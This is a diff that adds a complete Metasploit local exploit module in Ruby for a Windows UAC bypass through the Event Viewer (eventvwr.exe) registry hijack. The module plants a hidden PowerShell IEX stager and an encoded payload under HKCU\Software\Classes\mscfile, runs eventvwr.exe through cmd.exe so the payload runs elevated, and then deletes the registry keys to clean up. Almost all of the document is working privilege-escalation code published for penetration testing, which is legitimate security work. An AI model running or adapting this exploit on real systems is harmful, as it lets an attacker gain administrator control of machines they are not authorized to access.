|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'msf/core/exploit/exe' |
| 8 | +require 'msf/core/exploit/powershell' |
| 9 | + |
| 10 | +class MetasploitModule < Msf::Exploit::Local |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Exploit::Powershell |
| 14 | + include Post::Windows::Priv |
| 15 | + include Post::Windows::Registry |
| 16 | + include Post::Windows::Runas |
| 17 | + |
| 18 | + EVENTVWR_DEL_KEY = "HKCU\\Software\\Classes\\mscfile" |
| 19 | + EVENTVWR_WRITE_KEY = "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command" |
| 20 | + EXEC_REG_VAL = '' # This maps to "(Default)" |
| 21 | + EXEC_REG_VAL_TYPE = 'REG_SZ' |
| 22 | + EVENTVWR_PATH = "%WINDIR%\\System32\\eventvwr.exe" |
| 23 | + PSH_PATH = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe" |
| 24 | + CMD_MAX_LEN = 2081 |
| 25 | + |
| 26 | + def initialize(info={}) |
| 27 | + super(update_info(info, |
| 28 | + 'Name' => 'Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)', |
| 29 | + 'Description' => %q{ |
| 30 | + This module will bypass Windows UAC by hijacking a special key in the Registry under |
| 31 | + the current user hive, and inserting a custom command that will get invoked when |
| 32 | + the Windows Event Viewer is launched. It will spawn a second shell that has the UAC |
| 33 | + flag turned off. |
| 34 | +
|
| 35 | + This module modifies a registry key, but cleans up the key once the payload has |
| 36 | + been invoked. |
| 37 | +
|
| 38 | + The module does not require the architecture of the payload to match the OS. If |
| 39 | + specifying EXE::Custom your DLL should call ExitProcess() after starting your |
| 40 | + payload in a separate process. |
| 41 | + }, |
| 42 | + 'License' => MSF_LICENSE, |
| 43 | + 'Author' => [ |
| 44 | + 'Matt Nelson', # UAC bypass discovery and research |
| 45 | + 'Matt Graeber', # UAC bypass discovery and research |
| 46 | + 'OJ Reeves' # MSF module |
| 47 | + ], |
| 48 | + 'Platform' => ['win'], |
| 49 | + 'SessionTypes' => ['meterpreter'], |
| 50 | + 'Targets' => [ |
| 51 | + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], |
| 52 | + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] |
| 53 | + ], |
| 54 | + 'DefaultTarget' => 0, |
| 55 | + 'References' => [ |
| 56 | + [ |
| 57 | + 'URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/', |
| 58 | + 'URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1' |
| 59 | + ] |
| 60 | + ], |
| 61 | + 'DisclosureDate'=> 'Aug 15 2016' |
| 62 | + )) |
| 63 | + end |
| 64 | + |
| 65 | + def check |
| 66 | + if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled? |
| 67 | + Exploit::CheckCode::Appears |
| 68 | + else |
| 69 | + Exploit::CheckCode::Safe |
| 70 | + end |
| 71 | + end |
| 72 | + |
| 73 | + def exploit |
| 74 | + commspec = '%COMSPEC%' |
| 75 | + registry_view = REGISTRY_VIEW_NATIVE |
| 76 | + |
| 77 | + # Make sure we have a sane payload configuration |
| 78 | + |
| 79 | + if sysinfo['Architecture'] == ARCH_X64 |
| 80 | + # On x64, check arch |
| 81 | + if session.arch == ARCH_X86 |
| 82 | + # running WOW64, map the correct registry view |
| 83 | + registry_view = REGISTRY_VIEW_64_BIT |
| 84 | + |
| 85 | + if target_arch.first == ARCH_X64 |
| 86 | + # we have an x64 payload specified while using WOW64, so we need to |
| 87 | + # move over to sysnative |
| 88 | + commspec = '%WINDIR%\\Sysnative\\cmd.exe' |
| 89 | + else |
| 90 | + # Else, we're 32-bit payload, so need to ref wow64. |
| 91 | + commspec = '%WINDIR%\\SysWOW64\\cmd.exe' |
| 92 | + end |
| 93 | + elsif target_arch.first == ARCH_X86 |
| 94 | + # We're x64, but invoking x86, so switch to SysWOW64 |
| 95 | + commspec = '%WINDIR%\\SysWOW64\\cmd.exe' |
| 96 | + end |
| 97 | + else |
| 98 | + # if we're on x86, we can't handle x64 payloads |
| 99 | + if target_arch.first == ARCH_X64 |
| 100 | + fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') |
| 101 | + end |
| 102 | + end |
| 103 | + |
| 104 | + # Validate that we can actually do things before we bother |
| 105 | + # doing any more work |
| 106 | + check_permissions! |
| 107 | + |
| 108 | + case get_uac_level |
| 109 | + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, |
| 110 | + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, |
| 111 | + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT |
| 112 | + fail_with(Failure::NotVulnerable, |
| 113 | + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." |
| 114 | + ) |
| 115 | + when UAC_DEFAULT |
| 116 | + print_good('UAC is set to Default') |
| 117 | + print_good('BypassUAC can bypass this setting, continuing...') |
| 118 | + when UAC_NO_PROMPT |
| 119 | + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') |
| 120 | + shell_execute_exe |
| 121 | + return |
| 122 | + end |
| 123 | + |
| 124 | + payload_value = rand_text_alpha(8) |
| 125 | + psh_path = expand_path("#{PSH_PATH}") |
| 126 | + |
| 127 | + template_path = Rex::Powershell::Templates::TEMPLATE_DIR |
| 128 | + psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded) |
| 129 | + |
| 130 | + psh_stager = "\"IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\"" |
| 131 | + cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}" |
| 132 | + |
| 133 | + existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || "" |
| 134 | + |
| 135 | + if existing.empty? |
| 136 | + registry_createkey(EVENTVWR_WRITE_KEY, registry_view) |
| 137 | + end |
| 138 | + |
| 139 | + print_status("Configuring payload and stager registry keys ...") |
| 140 | + registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view) |
| 141 | + registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view) |
| 142 | + |
| 143 | + # We can't invoke EventVwr.exe directly because CreateProcess fails with the |
| 144 | + # dreaded 740 error (Program requires elevation). Instead, we must invoke |
| 145 | + # cmd.exe and use that to fire off the binary. |
| 146 | + cmd_path = expand_path(commspec) |
| 147 | + cmd_args = expand_path("/c #{EVENTVWR_PATH}") |
| 148 | + print_status("Executing payload: #{cmd_path} #{cmd_args}") |
| 149 | + |
| 150 | + # We can't use cmd_exec here because it blocks, waiting for a result. |
| 151 | + client.sys.process.execute(cmd_path, cmd_args, {'Hidden' => true}) |
| 152 | + |
| 153 | + # Wait a copule of seconds to give the payload a chance to fire before cleaning up |
| 154 | + # TODO: fix this up to use something smarter than a timeout? |
| 155 | + Rex::sleep(5) |
| 156 | + |
| 157 | + handler(client) |
| 158 | + |
| 159 | + print_status("Cleaining up registry keys ...") |
| 160 | + if existing.empty? |
| 161 | + registry_deletekey(EVENTVWR_DEL_KEY, registry_view) |
| 162 | + else |
| 163 | + registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view) |
| 164 | + registry_deleteval(EVENTVWR_WRITE_KEY, payload_value, registry_view) |
| 165 | + end |
| 166 | + |
| 167 | + end |
| 168 | + |
| 169 | + def check_permissions! |
| 170 | + fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? |
| 171 | + |
| 172 | + # Check if you are an admin |
| 173 | + vprint_status('Checking admin status...') |
| 174 | + admin_group = is_in_admin_group? |
| 175 | + |
| 176 | + unless check == Exploit::CheckCode::Appears |
| 177 | + fail_with(Failure::NotVulnerable, "Target is not vulnerable.") |
| 178 | + end |
| 179 | + |
| 180 | + unless is_in_admin_group? |
| 181 | + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') |
| 182 | + end |
| 183 | + |
| 184 | + print_status('UAC is Enabled, checking level...') |
| 185 | + if admin_group.nil? |
| 186 | + print_error('Either whoami is not there or failed to execute') |
| 187 | + print_error('Continuing under assumption you already checked...') |
| 188 | + else |
| 189 | + if admin_group |
| 190 | + print_good('Part of Administrators group! Continuing...') |
| 191 | + else |
| 192 | + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') |
| 193 | + end |
| 194 | + end |
| 195 | + |
| 196 | + if get_integrity_level == INTEGRITY_LEVEL_SID[:low] |
| 197 | + fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') |
| 198 | + end |
| 199 | + end |
| 200 | +end |
0 commit comments